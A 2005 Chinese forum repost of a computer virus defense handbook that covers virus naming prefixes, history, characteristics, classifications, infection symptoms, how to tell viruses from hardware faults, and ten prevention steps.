转贴 计算机病毒防御手册

RemaQi

在网络安全的世界中，计算机病毒一直给我们造成了非常大的危害，近的如“冲击波”“震荡波”病毒，较远的有“CIH”“红色代码”等病毒，了解他们对维护系统的安全有着非常重要的作用。在本期的专题中我们将着重介绍两类危害性能很强也是现在最流行的病毒：蠕虫和特洛伊木马……
综合篇
本小节我们讲计算机病毒的特点和危害性，通过以下所讲内容希望大家能对计算机病毒有个全方位的认识……
一、计算机病毒特点分析
    （一）如何根据名称识别计算机病毒
很多时候大家已经用杀毒软件查出了自己的机子中了例如Backdoor.RmtBomb.12 、Trojan.Win32.SendIP.15 等等这些一串英文还带数字的病毒名，这时有些人就懵了，那么长一串的名字，我怎么知道是什么病毒啊？
其实只要我们掌握一些病毒的命名规则，我们就能通过杀毒软件的报告中出现的病毒名来判断该病毒的一些公有的特性了。
世界上那么多的病毒，反病毒公司为了方便管理，他们会按照病毒的特性，将病毒进行分类命名。虽然每个反病毒公司的命名规则都不太一样，但大体都是采用一个统一的命名方法来命名的。一般格式为：.. 。
病毒前缀是指一个病毒的种类，他是用来区别病毒的种族分类的。不同的种类的病毒，其前缀也是不同的。比如我们常见的木马病毒的前缀 Trojan ，
蠕虫病毒的前缀是 Worm 等等还有其他的。
病毒名是指一个病毒的家族特征，是用来区别和标识病毒家族的，如以前著名的CIH病毒的家族名都是统一的“ CIH ”，还有近期闹得正欢的振荡波蠕虫病毒的家族名是“ Sasser ”。
病毒后缀是指一个病毒的变种特征，是用来区别具体某个家族病毒的某个变种的。一般都采用英文中的26个字母来表示，如 Worm.Sasser.b  就是指 振荡波蠕虫病毒的变种B，因此一般称为 “振荡波B变种”或者“振荡波变种B”。如果该病毒变种非常多（也表明该病毒生命力顽强 ^_^），可以采用数字与字母混合表示变种标识。
综上所述，一个病毒的前缀对我们快速的判断该病毒属于哪种类型的病毒是有非常大的帮助的。通过判断病毒的类型，就可以对这个病毒有个大概的评估（当然这需要积累一些常见病毒类型的相关知识，这不在本文讨论范围）。而通过病毒名我们可以利用查找资料等方式进一步了解该病毒的详细特征。病毒后缀能让我们知道现在在你机子里呆着的病毒是哪个变种。
下面附带一些常见的病毒前缀的解释（针对我们用得最多的Windows操作系统）：
1、系统病毒
系统病毒的前缀为：Win32、PE、Win95、W32、W95等。这些病毒的一般公有的特性是可以感染windows操作系统的 *.exe 和 *.dll 文件，并通过这些文件进行传播。如CIH病毒。
2、蠕虫病毒
蠕虫病毒的前缀是：Worm。这种病毒的公有特性是通过网络或者系统漏洞进行传播，很大部分的蠕虫病毒都有向外发送带毒邮件，阻塞网络的特性。比如冲击波（阻塞网络），小邮差（发带毒邮件） 等。
3、木马病毒、
木马病毒其前缀是：Trojan，黑客病毒前缀名一般为 Hack 。木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏，然后向外界泄露用户的信息，而黑客病毒则有一个可视的界面，能对用户的电脑进行远程控制。木马、黑客病毒往往是成对出现的，即木马病毒负责侵入用户的电脑，而黑客病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马 Trojan.QQ3344 ，还有大家可能遇见比较多的针对网络游戏的木马病毒如 Trojan.LMir.PSW.60 。这里补充一点，病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有盗取密码的功能（这些字母一般都为“密码”的英文“password”的缩写）一些黑客程序如：网络枭雄（Hack.Nether.Client）等。
4、脚本病毒
脚本病毒的前缀是：Script。脚本病毒的公有特性是使用脚本语言编写，通过网页进行的传播的病毒，如红色代码（Script.Redlof）——可不是我们的老大代码兄哦 ^_^。脚本病毒还会有如下前缀：VBS、JS（表明是何种脚本编写的），如欢乐时光（VBS.Happytime）、十四日（Js.Fortnight.c.s）等。
5、宏病毒
其实宏病毒是也是脚本病毒的一种，由于它的特殊性，因此在这里单独算成一类。宏病毒的前缀是：Macro，第二前缀是：Word、Word97、Excel、Excel97（也许还有别的）其中之一。凡是只感染WORD97及以前版本WORD文档的病毒采用Word97做为第二前缀，格式是：Macro.Word97；凡是只感染WORD97以后版本WORD文档的病毒采用Word做为第二前缀，格式是：Macro.Word；凡是只感染EXCEL97及以前版本EXCEL文档的病毒采用Excel97做为第二前缀，格式是：Macro.Excel97；凡是只感染EXCEL97以后版本EXCEL文档的病毒采用Excel做为第二前缀，格式是：Macro.Excel，依此类推。该类病毒的公有特性是能感染OFFICE系列文档，然后通过OFFICE通用模板进行传播，如：著名的美丽莎(Macro.Melissa)。
6、后门病毒
后门病毒的前缀是：Backdoor。该类病毒的公有特性是通过网络传播，给系统开后门，给用户电脑带来安全隐患。如54很多朋友遇到过的IRC后门Backdoor.IRCBot 。
7、病毒种植程序病毒
这类病毒的公有特性是运行时会从体内释放出一个或几个新的病毒到系统目录下，由释放出来的新病毒产生破坏。如：冰河播种者（Dropper.BingHe2.2C）、MSN射手(Dropper.Worm.Smibag)等。
8．破坏性程序病毒
破坏性程序病毒的前缀是：Harm。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击，当用户点击这类病毒时，病毒便会直接对用户计算机产生破坏。如：格式化C盘（Harm.formatC.f）、杀手命令（Harm.Command.Killer）等。
9．玩笑病毒
玩笑病毒的前缀是：Joke。也称恶作剧病毒。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击，当用户点击这类病毒时，病毒会做出各种破坏操作来吓唬用户，其实病毒并没有对用户电脑进行任何破坏。如：女鬼（Joke.Girlghost）病毒。
10．捆绑机病毒
捆绑机病毒的前缀是：Binder。这类病毒的公有特性是病毒作者会使用特定的捆绑程序将病毒与一些应用程序如QQ、IE捆绑起来，表面上看是一个正常的文件，当用户运行这些捆绑病毒时，会表面上运行这些应用程序，然后隐藏运行捆绑在一起的病毒，从而给用户造成危害。如：捆绑QQ（Binder.QQPass.QQBin）、系统杀手（Binder.killsys）等。
以上为比较常见的病毒前缀，有时候我们还会看到一些其他的，但比较少见，这里简单提一下：
DoS：会针对某台主机或者服务器进行DoS攻击；
Exploit：会自动通过溢出对方或者自己的系统漏洞来传播自身，或者他本身就是一个用于Hacking的溢出工具；
HackTool：黑客工具，也许本身并不破坏你的机子，但是会被别人加以利用来用你做替身去破坏别人。
你可以在查出某个病毒以后通过以上所说的方法来初步判断所中病毒的基本情况，达到知己知彼的效果。在杀毒无法自动查杀，打算采用手工方式的时候这些信息会给你很大的帮助。
   （二）区分计算机病毒与系统故障
在清除计算机病毒的过程中, 有些类似计算机病毒的现象纯属由计算机硬件或软件故障引起, 同时有些病毒发作现象又与硬件或软件的故障现象相类似, 如引导型病毒等。这给用户造成了很大的麻烦, 许多用户往往在用各种查解病毒软件查不出病毒时就去格式化硬盘, 不仅影响了硬盘的寿命, 而且还不能从根本上解决问题。所以, 正确区分计算机的病毒与故障是保障计算机系统安全运行的关键。
（1）计算机病毒的现象与查解方法
在一般情况下, 计算机病毒总是依附某一系统软件或用户程序进行繁殖和扩散, 病毒发作时危及计算机的正常工作, 破坏数据与程序, 侵犯计算机资源。计算机在感染病毒后, 总是有一定规律地出现异常现象:
①屏幕显示异常, 屏幕显示出不是由正常程序产生的画面或字符串, 屏幕显示混乱;
②程序装入时间增长, 文件运行速度下降;
③用户没有访问的设备出现工作信号;
④磁盘出现莫名其妙的文件和坏块, 卷标发生变化;
⑤系统自行引导;
⑥丢失数据或程序, 文件字节数发生变化;
⑦内存空间、磁盘空间减小;
⑧异常死机;
⑨磁盘访问时间比平时增长;
⑩系统引导时间增长。
如果出现上述现象时, 应首先对系统的BOOT区、IO.SYS、MSDOS.SYS、COMMAND.COM、.COM、.EXE文件进行仔细检查, 并与正确的文件相比较, 如有异常现象则可能感染病毒。然后对其它文件进行检查，有无异常现象, 找出异常现象的原因。病毒与故障的区别的关键是, 一般故障只是无规律的偶然发生一次而病毒的发作总是有规律的。
这里建议使用在DOS6.0以上版本所带的MSAV软件, 它的最突出的功能是能查出所有文件的变化, 并能做出记录。
如果MSAV报告有大量的文件被改动, 则系统可能被病毒感染
（2）与病毒现象类似的硬件故障
硬件的故障范围不太广泛, 但是很容易被确认。在处理计算机的异常现象时很容易被忽略, 只有先排除硬件故障,才是解决问题的根本。
1. 系统的硬件配置
这种故障常在兼容机上发生, 由于配件的不完全兼容, 导致一些软件不能够正常运行。笔者遇到过一台兼容机, 联迅绿色节能主板, 昆腾大脚硬盘, 开始时安装小软件非常顺利, 但是安装WINDOWS时却出现了装不上的故障, 开始也怀疑病毒作怪, 在用了许多杀毒软件后也不能解决问题。后来查阅了一些资料才发现了问题所在, 因主板是节能型的,而CPU、硬盘却不是节能型的, 当安装软件的时间超过主板进入休眠时间的期限时, 主板就进入了休眠状态, 于是就由于主板、CPU、硬盘工作不协调而出现了故障。解决的办法很简单, 把主板的节能开关关掉就一切正常了。所以, 用户在自己组装计算机时应首先考虑配件的兼容性, 购买配件前应仔细阅读产品说明书。
2. 电源电压不稳定
由于计算机所使用的电源的电压不稳定, 容易导致用户文件在磁盘读写时出现丢失或被破坏的现象, 严重时将会引起系统自启动。如果用户所用的电源的电压经常性的不稳定, 为了使您的计算机更安全地工作, 建议您使用电源稳压器或不间断电源（UPS）。
3. 插件接触不良
由于计算机插件接触不良, 会使某些设备出现时好时坏的现象。例如: 显示器信号线与主机接触不良时可能会使显示器显示不稳定; 磁盘线与多功能卡接触不良时会导致磁盘读写时好时坏; 打印机电缆与主机接触不良时会造成打印机不工作或工作现象不正常; 鼠标线与串行口接触不良时会出现鼠标时动时不动的故障等等。
4. 软驱故障
用户如果使用质量低劣的磁盘或使用损坏的、发霉的磁盘, 将会把软驱磁头弄脏, 出现无法读写磁盘或读写出错等故障。遇到这种情况, 只需用清洗盘清洗磁头, 一般情况下都能排队故障。如果污染特别严重, 需要将软驱拆开, 用清洗液手工清洗。
5. 关于CMOS的问题 众所周知, CMOS中所存储的信息对计算机系统来说是十分重要的, 在微机启动时总是先要按CMOS中的信息来检测和初始化系统(当然是最基本的初始化)。在486以上的主板里, 大都有一个病毒监测开关, 用户一般情况下都设置为"ON", 这时如果安装WINDOWS95, 就会发生死机现象。原因是安装WINDOWS95时, 安装程序会修改硬盘的引导部分、系统的内部中断和中断向量表, 而病毒监测程序不允许这样做, 于是就导致了死机。 建议用户在安装新系统时, 先把CMOS中病毒监测开关关掉。另外, 系统的引导速度和一些程序的运行速度减慢也可能与CMOS有关, 因为CMOS的高级设置中有一些影子内存开关, 这也会影响系统的运行速度。

[ Last edited by RemaQi on 2005-8-26 at 17:23 ]

RemaQi

谢谢你

RemaQi

（三）计算机病毒的详细知识
一、病毒的历史
自从1946年第一台冯-诺依曼型计算机ENIAC出世以来，计算机已被应用到人类社会的各个领域。然而， 1988年发生在美国的"蠕虫病毒"事件，给计算机技术的发展罩上了一层阴影。蠕虫病毒是由美国CORNELL大学研究生莫里斯编写。虽然并无恶意，但在当时，"蠕虫"在INTERNET上大肆传染，使得数千台连网的计算机停止运行，并造成巨额损失，成为一时的舆论焦点。 在国内，最初引起人们注意的病毒是80年代末出现的"黑色星期五"，"米氏病毒"，"小球病毒"等。因当时软件种类不多，用户之间的软件交流较为频繁且反病毒软件并不普及，造成病毒的广泛流行。后来出现的word宏病毒及win95下的CIH病毒，使人们对病毒的认识更加深了一步。 最初对病毒理论的构思可追溯到科幻小说。在70年代美国作家雷恩出版的《P1的青春》一书中构思了一种能够自我复制，利用通信进行传播的计算机程序，并称之为计算机病毒。
二、病毒的产生 　
那么究竟它是如何产生的呢？那么究竟它是如何产生的呢？
1、开个玩笑，一个恶作剧。某些爱好计算机并对计算机技术精通的人士为了炫耀自己的高超技术和智慧，凭借对软硬件的深入了解，编制这些特殊的程序。这些程序通过载体传播出去后，在一定条件下被触发。如显示一些动画，播放一段音乐，或提一些智力问答题目等，其目的无非是自我表现一下。这类病毒一般都是良性的，不会有破坏操作。 　　
2、产生于个别人的报复心理。每个人都处于社会环境中，但总有人对社会不满或受到不公证的待遇。如果这种情况发生在一个编程高手身上，那么他有可能会编制一些危险的程序。 在国外有这样的事例：某公司职员在职期间编制了一段代码隐藏在其公司的系统中，一旦检测到他的名字在工资报表中删除，该程序立即发作，破坏整个系统。类似案例在国内亦出现过。
3、用于版权保护。计算机发展初期，由于在法律上对于软件版权保护还没有象今天这样完善。很多商业软件被非法复制，有些开发商为了保护自己的利益制作了一些特殊程序，附在产品中。如：巴基斯坦病毒，其制作者是为了追踪那些非法拷贝他们产品的用户。用于这种目的的病毒目前已不多见。
三、病毒的特征
未经授权而执行。一般正常的程序是由用户调用，再由系统分配资源，完成用户交给的任务。其目的对用户是可见的、透明的。而病毒具有正常程序的一切特性，它隐藏在正常程序中，当用户调用正常程序时窃取到系统的控制权，先于正常程序执行，病毒的动作、目的对用户时未知的，是未经用户允许的。　　
1. 传染性.正常的计算机程序一般是不会将自身的代码强行连接到其它程序之上的。而病毒却能使自身的代码强行传染到一切符合其传染条件的未受到传染的程序之上。计算机病毒可通过各种可能的渠道，如软盘、计算机网络去传染其它的计算机。当你在一台机器上发现了病毒时，往往曾在这台计算机上用过的软盘已感染上了病毒，而与这台机器相联网的其它计算机也许也被该病毒侵染上了。是否具有传染性是判别一个程序是否为计算机病毒的最重要条件。
2. 隐蔽性。病毒一般是具有很高编程技巧、短小精悍的程序。通常附在正常程序中或磁盘代码分析，病毒程序与正常程序是不容易区别开来的。一般在没有防护措施的情况下，计算机病毒程序取得系统控制权后，可以在很短的时间里传染大量程序。而且受到传染后，计算机系统通常仍能正常运行，使用户不会感到任何异常。试想，如果病毒在传染到计算机上之后，机器马上无法正常运行，那么它本身便无法继续进行传染了。正是由于隐蔽性，计算机病毒得以在用户没有察觉的情况下扩散到上百万台计算机中。大部分的病毒的代码之所以设计得非常短小，也是为了隐藏。病毒一般只有几百或1k字节，而PC机对DOS文件的存取速度可达每秒几百KB以上，所以病毒转瞬之间便可将这短短的几百字节附着到正常程序之中，使人非常不易被察觉。
3. 潜伏性。大部分的病毒感染系统之后一般不会马上发作，它可长期隐藏在系统中，只有在满足其特定条件时才启动其表现（破坏）模块。只有这样它才可进行广泛地传播。如"PETER-2"在每年2月27日会提三个问题，答错后会将硬盘加密。著名的"黑色星期五"在逢13号的星期五发作。国内的"上海一号"会在每年三、六、九月的13日发作。当然，最令人难忘的便是26日发作的CIH。这些病毒在平时会隐藏得很好，只有在发作日才会露出本来面目。
4. 破坏性。任何病毒只要侵入系统，都会对系统及应用程序产生程度不同的影响。轻病毒与恶性病毒。良性病毒可能只显示些画面或出点音乐、无聊的语句，或者根本没有任何破坏动作，但会占用系统资源。这类病毒较多，如：GENP、小球、W-BOOT等。恶性病毒则有明确得目的，或破坏数据、删除文件或加密磁盘、格式化磁盘，有的对数据造成不可挽回的破坏。这也反映出病毒编制者的险恶用心。
5. 不可预见性。从对病毒的检测方面来看，病毒还有不可预见性。不同种类的病毒，它们的代码千差万别，但有些操作是共有的（如驻内存，改中断）。有些人利用病毒的这种共性，制作了声称可查所有病毒的程序。这种程序的确可查出一些新病毒，但由于目前的软件种类极其丰富，且某些正常程序也使用了类似病毒的操作甚至借鉴了某些病毒的技术。使用这种方法对病毒进行检测势必会造成较多的误报情况。而且病毒的制作技术也在不断的提高，病毒对反病毒软件永远是超前的。
四、病毒的定义　
从广义上定义，凡能够引起计算机故障，破坏计算机数据的程序统称为计算机病毒。依据做过不尽相同的定义，但一直没有公认的明确定义。直至1994年2月18日，我国正式颁布实施了《中华人民共和国计算机信息系统安全保护条例》，在《条例》第二十八条中明确指出："计算机病毒，是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或者程序代码。"此定义具有法律性、权威性。（此节内容摘自《计算机安全管理与实用技术》一书）　
五、病毒的分析 　　
计算机病毒的种类虽多，但对病毒代码进行分析、比较可看出，它们的主要结构是类似的，有其共同特点。整个病毒代码虽短小但也包含三部分：引导部分，传染部分，表现部分:
1、引导部分的作用是将病毒主体加载到内存，为传染部分做准备（如驻留内存，修改中断，修改高端内存，保存原中断向量等操作）。 　　
2、传染部分的作用是将病毒代码复制到传染目标上去。不同类型的病毒在传染方式，传染条件上各有不同。
3、表现部分是病毒间差异最大的部分，前两个部分也是为这部分服务的。大部分的病毒都是有一定条件才会触发其表现部分的。如：以时钟、计数器作为触发条件的或用键盘输入特定字符来触发的。这一部分也是最为灵活的部分，这部分根据编制者的不同目的而千差万别，或者根本没有这部分。
六、病毒的命名 　　
对病毒命名，各个反毒软件亦不尽相同，有时对一种病毒不同的软件会报出不同的名称。如"SPY"病毒，VRV起名为SPY，KV300则叫"TPVO-3783"。给病毒起名的方法不外乎以下几种： 　　
1、按病毒出现的地点，如"ZHENJIANG_JES"其样本最先来自镇江某用户。 　
2、按病毒中出现的人名或特征字符，如"ZHANGFANG-1535"，"DISK KILLER"，"上海一号"。 　　
3、按病毒发作时的症状命名，如"火炬"，"蠕虫"。 　　
4、按病毒发作的时间，如"NOVEMBER 9TH"在11月9日发作。有些名称包含病毒代码的长度，如"PIXEL.xxx"系列,"KO.xxx"等 。计算机病毒的种类虽多，但对病毒代码进行分析、比较可看出，它们的主要结构是类似的，有其共同特点。整个病毒代码虽短小但也包含三部分：引导部分，传染部分，表现部分。
七、病毒的分类
从第一个病毒出世以来，究竟世界上有多少种病毒，说法不一。无论多少种，病毒的数量仍在不断增加。据国外统计，计算机病毒以10种/周的速度递增，另据我国公安部统计，国内以4种/月的速度递增。如此多的种类，做一下分类可更好地了解它们。
1、按破坏性可分为：良性病毒，恶性病毒。前面已介绍过。
（1）良性病毒：仅仅显示信息、奏乐、发出声响，自我复制的。
（2）恶性病毒：封锁、干扰、中断输入输出、使用户无法打印等正常工作，甚至电脑中止运行。
（3）极恶性病毒：死机、系统崩溃、删除普通程序或系统文件，破坏系统配置导致系统死机、崩溃、无法重启。
（4）灾难性病毒：破坏分区表信息、主引导信息、FAT，删除数据文件，甚至格式化硬盘等。
2、新兴一族：宏病毒。
按传染方式分为：引导型病毒、文件型病毒和混合型病毒。
（1）文件型病毒：一般只传染磁盘上的可执行文件（COM，EXE）。在用户调用染毒的可执行文件时，病毒首先被运行，然后病毒驻留内存伺机传染其他文件或直接传染其他文件。其特点是附着于正常程序文件，成为程序文件的一个外壳或部件。这是较为常见的传染方式。
（2）混合型病毒：兼有以上两种病毒的特点，既染引导区又染文件，因此扩大了这种病毒的传染途径（如97年国内流行较广的"TPVO-3783（SPY）"）。
按连接方式分为：源码型病毒、入侵型病毒、操作系统型病毒、外壳型病毒。
（1）源码型病毒：较为少见，亦难以编写。因为它要攻击高级语言编写的源程序，在源程序编译之前插入其中，并随源程序一起编译、连接成可执行文件。此时刚刚生成的可执行文件便已经带毒了。 　　
（2）入侵型病毒：可用自身代替正常程序种的部分模块或堆栈区。因此这类病毒只攻击某些特定程序，针对性强。一般情况下也难以被发现，清除起来也较困难。 　　
（3）操作系统型病毒：可用其自身部分加入或替代操作系统的部分功能。因其直接感染操作系统，这类病毒的危害性也较大。
（4）外壳型病毒：将自身附在正常程序的开头或结尾，相当于给正常程序加了个外壳。大部份的文件型病毒都属于这一类。
病毒现象种种 用户在运行外来软件或从Internet网下载文件时，很可能无意中给计算机感染上病毒，但绝大多数的用户不能马上发现自己的计算机被感染上病毒，当然我们可以根据种种现象去判断您的微机是否感染上病毒。其现象分为：
1、病毒发作前：
（1）计算机无故死机
（2）计算机无法启动
（3）Windows3.X运行不正常
（4）Windows9X无法正常启动
（5）微机运行速度明显变慢
（6）曾正常运行的软件常报内存不足
（7）微机打印和通讯发 生异常
（8）曾正常运行的应用程序发生死机或者非法错误
（9）系统文件的时间、日期、长度发生变化
（10）运行Word，打开文档后，该文件另存时只能以模板方式保存
（11）无意中要求对软盘进行写操作
（12）磁盘空间迅速减少
（13）网络数据卷无法调用
（14）基本内存发生变化 根据上述几点，我们就可以判断您的微机和网络是否感染上病毒，如当前流行的Win95.CIH病毒，通常也会表现为某些应用软件经常发生死机。
2、病毒发作中病毒的发作，有的只按时间来确定，有的按重复感染的次数来确定，但更多数是随机发生。发作时表现为：⑴提示一段话 ⑵发出动听的音乐 ⑶产生特定的图象 ⑷硬盘灯不断闪烁 ⑸进行游戏算法 ⑹Windows桌面图标发生变化
3、病毒发作后 恶性病毒发作后会导致下列情况： ⑴硬盘无法启动，数据丢失 ⑵系统文件丢失 ⑶文件目录发生混乱 ⑷部分文档丢失 ⑸部分文档自动加密码 ⑹丢失被病毒加密的有关数据 ⑺修改某些Autoexec.bat文件，增加Format一项，导致计算机重新启动时格式化硬盘上的所有数据 ⑻使部分可升级主板的BIOS程序混乱，主板被破坏。引导型病毒一般侵占硬盘的引导区（即BOOT区），感染病毒后，引导记录会发生变化。

RemaQi

四）计算机病毒的入侵方式及分类
要真正地识别病毒，及时的查杀病毒，我们还有必要对病毒有一番较详细的了解，而且越详细越好！病毒因为由众多分散的个人或组织单独编写，也没有一个标准去衡量、去划分，所以病毒的分类可按多个角度大体去分。
如按其入侵的方式来分为以下几种：
a、源代码嵌入攻击型
从它的名字我们就知道这类病毒入侵的主要是高级语言的源程序，病毒是在源程序编译之前插入病毒代码，最后随源程序一起被编译成可执行文件，这样刚生成的文件就是带毒文件。当然这类文件是极少数，因为这些病毒开发者不可能轻易得到那些软件开发公司编译前的源程序，况且这种入侵的方式难度较大，需要非常专业的编程水平。
b、代码取代攻击型
这类病毒主要是用它自身的病毒代码取代某个入侵程序的整个或部分模块，这类病毒也少见，它主要是攻击特定的程序，针对性较强，但是不易被发现，清除起来也较困难。
c、系统修改型
这类病毒主要是用自身程序覆盖或修改系统中的某些文件来达到调用或替代操作系统中的部分功能，由于是直接感染系统，危害较大，也是最为多见的一种病毒类型，多为文件型病毒。
d、外壳附加型
这类病毒通常是将其病毒附加在正常程序的头部或尾部，相当于给程序添加了一个外壳，在被感染的程序执行时，病毒代码先被执行，然后才将正常程序调入内存。目前大多数文件型的病毒属于这一类。
如果按病毒的破坏程度来分，我们又可以将病毒划分为以下几种：
a、良性病毒：
这些病毒之所以把它们称之为良性病毒，是因为它们入侵的目的不是破坏你的系统，只是想玩一玩而已，多数是一些初级病毒发烧友想测试一下自己的开发病毒程序的水平。它们并不想破坏你的系统，只是发出某种声音，或出现一些提示，除了占用一定的硬盘空间和CPU处理时间外别无其它坏处。如一些木马病毒程序也是这样，只是想窃取你电脑中的一些通讯信息，如密码、IP地址等，以备有需要时用。
b、恶性病毒
我们把只对软件系统造成干扰、窃取信息、修改系统信息，不会造成硬件损坏、数据丢失等严重后果的病毒归之为“恶性病毒”，这类病毒入侵后系统除了不能正常使用之外，别无其它损失，系统损坏后一般只需要重装系统的某个部分文件后即可恢复，当然还是要杀掉这些病毒之后重装系统。
c、极恶性病毒
这类病毒比上述b类病毒损坏的程度又要大些，一般如果是感染上这类病毒你的系统就要彻底崩溃，根本无法正常启动，你保分留在硬盘中的有用数据也可能随之不能获取，轻一点的还只是删除系统文件和应用程序等。
d、灾难性病毒
这类病毒从它的名字我们就可以知道它会给我们带来的破坏程度，这类病毒一般是破坏磁盘的引导扇区文件、修改文件分配表和硬盘分区表，造成系统根本无法启动，有时甚至会格式化或锁死你的硬盘，使你无法使用硬盘。如果一旦染上这类病毒，你的系统就很难恢复了，保留在硬盘中的数据也就很难获取了，所造成的损失是非常巨大的，所以我们进化论什么时候应作好最坏的打算，特别是针对企业用户，应充分作好灾难性备份，还好现在大多数大型企业都已认识到备份的意义所在，花巨资在每天的系统和数据备份上，虽然大家都知道或许几年也不可能遇到过这样灾难性的后果，但是还是放松这“万一”。我所在的雀巢就是这样，而且还非常重视这个问题。如98年4.26发作的CIH病毒就可划归此类，因为它不仅对软件造成破坏，更直接对硬盘、主板的BIOS等硬件造成破坏。

RemaQi

（五）防御计算机病毒十大必知步骤
近日全球计算机病毒猖獗，怎样有效防御计算机病毒、蠕虫和特洛伊木马呢？请详细阅读以下十大必知步骤：
1、用常识进行判断
决不打开来历不明邮件的附件或你并未预期接到的附件。对看来可疑的邮件附件要自觉不予打开。千万不可受骗，认为你知道附件的内容，即使附件看来好象是.jpg文件 -- 因为Windows允许用户在文件命名时使用多个后缀，而许多电子邮件程序只显示第一个后缀，例如，你看到的邮件附件名称是wow.jpg，而它的全名实际是wow.jpg.vbs，打开这个附件意味着运行一个恶意的VBScript病毒，而不是你的.jpg察看器。
2、安装防病毒产品并保证更新最新的病毒定义码
建议你至少每周更新一次病毒定义码，因为防病毒软件只有最新才最有效。需要提醒你的是，你所是购买的诺顿防病毒软件，不仅是更新病毒定义码，而且同时更新产品的引擎，这是与其它防病毒软件所不一样的。这样的好处在于，可以满足新引擎在侦破和修复方面的需要，从而有效地抑制病毒和蠕虫。例如，赛门铁克的所有产品中都有“实时更新”（LiveUpdate）功能。
3、首次安装防病毒软件时，一定要对计算机做一次彻底的病毒扫描
当你首次在计算机上安装防病毒软件时，一定要花费些时间对机器做一次彻底的病毒扫描，以确保它尚未受过病毒感染。功能先进的防病毒软件供应商现在都已将病毒扫描做为自动程序，当用户在初装其产品时自动执行。4、插入软盘、光盘和其他可插拔介质前，一定对它们进行病毒扫描。
确保你的计算机对插入的软盘、光盘和其他的可插拔介质，及对电子邮件和互联网文件都会做自动的病毒检查。
5、不要从任何不可靠的渠道下载任何软件
这一点比较难于做到，因为通常我们无法判断什么是不可靠的渠道。比较容易的做法是认定所有较有名气的在线图书馆未受病毒感染，但是提供软件下载的网站实在太多了，我们无法肯定它们一定都采取了防病毒的措施，所以比较保险的办法是对安全下载的软件在安装前先做病毒扫描。
6、警惕欺骗性的病毒
如果你收到一封来自朋友的邮件，声称有一个最具杀伤力的新病毒，并让你将这封警告性质的邮件转发给你所有认识的人，这十有八九是欺骗性的病毒。建议你访问防病毒软件供应商，如赛门铁克的网站

www.symantec.com/avcenter

， 证实确有其事。这些欺骗性的病毒，不仅浪费收件人的时间，而且可能与其声称的病毒一样有杀伤力。
7、使用其它形式的文档，如.rtf（Rich Text Format）和.pdf（Portable Document Format）
常见的宏病毒使用Microsoft Office的程序传播，减少使用这些文件类型的机会将降低病毒感染风险。尝试用Rich Text存储文件，这并不表明仅在文件名称中用.rtf后缀，而是要在Microsoft Word中，用“另存为”指令，在对话框中选择Rich Text形式存储。尽管Rich Text Format依然可能含有内嵌的对象，但它本身不支持
Visual Basic Macros或Jscript。而pdf文件不仅是跨平台的，而且更为安全。当然，这也不是能够彻底避开病毒的万全之计。
8、不要用共享的软盘安装软件，或者更为糟糕的是复制共享的软盘
这是导致病毒从一台机器传播到另一台机器的方式。同时，该软件没有注册也会被认为是非正版软件，而我们基本可以较为合理地推断，复制非法软件的人一般对版权法和合法使用软件并不在乎，同样，他们对安装和维护足够的病毒防护措施也不会太在意。盗版软件是病毒传染的最主要渠道。
9、禁用Windows Scripting Host
Windows Scripting Host(WSH) 运行各种类型的文本，但基本都是VBScript或Jscript。换句话说，Windows Scripting Host在文本语言之间充当翻译的角色，该语言可能支持ActiveX Scripting界面，包括VBScript, Jscript或Perl，及所有Windows的功能，包括访问文件夹、文件快捷方式、网络接入和Windows注册等。许多病毒/蠕虫，如Bubbleboy和KAK.worm使用Windows Scripting Host，无需用户点击附件，就可自动打开一个被感染的附件。
10、使用基于客户端的防火墙或过滤措施
如果你使用互联网，特别是使用宽带，并总是在线，那就非常有必要用个人防火墙保护你的隐私并防止不速之客访问你的系统。如果你的系统没有加设有效防护，你的家庭地址、信用卡号码和其它个人信息都有可能被窃取。
   （六）判断病毒的标准及清除方法
在通常情况下，普通计算机用户分不清影响自己系统工作的“恶意程序”是病毒还是木马。要知道，如果能够区分是什么类型的病毒，对于顺利清除病毒会大有帮助。
病毒程序的最大特点是具有“主动传染性”。病毒可以侵入到整个系统使其受到感染，而每个受感染的程序又可能成为一个病毒，继续将病毒传染给其他程序。一个病毒程序的最大特征在于，它能够传染别的程序，并且具有传递性。这使它有别于同样具有隐蔽性、激发性和攻击性的逻辑炸弹、特洛伊木马等。相对于“恶作剧邮件”而言，这种传染性是主动的，而恶作剧邮件是欺骗收件人，让收件人利用邮件工具发送的，程序本身并不具备主动传播的特性，因而不是病毒。因此传染性成为判定一个程序是否为病毒的首要条件，甚至可以称为充分条件。因为有的病毒大量传播，却对宿主机不会造成任何破坏，比如前一段时间发现的SARS病毒。
病毒传播的方式多种多样，传统的病毒一般通过感染可执行程序传播，通常称之为文件型病毒，这类病毒名前辍一般为Win32、Win95等等。文件型病毒感染文件后，会将病毒代码添加到正常程序的代码中。杀毒软件清除这些插入的代码就可以修复文件，但有的病毒是用病毒代码覆盖可执行程序的正常代码，杀毒软件清除病毒后很难知道程序被感染之前的代码是什么，也就意味着，清除这类病毒后，不能保证程序完全被修复，一般就需要找一个正常的备份文件来恢复。因此，我们知道，清除病毒并不等同于修复文件。通常修复被病毒破坏的文件，特别是可执行程序是困难的。
而木马程序通常并不感染文件，木马一般会修改注册表的启动项，或者修改打开文件的关联而获得运行机会。正是由于这个特点，使得我们了解某个木马的入侵特征后，可以相对容易地用手工方法将其清除。杀毒软件清除木马的方法一般就是删除木马生成的文件，因此在你使用杀毒软件扫描后，发现最终是删除了这个带毒文件，也不用感到奇怪。这个程序本来就不是系统的正常文件，把它删除不会对系统产生任何不良影响。

RemaQi

（七）VBS脚本病毒原理分析及防范
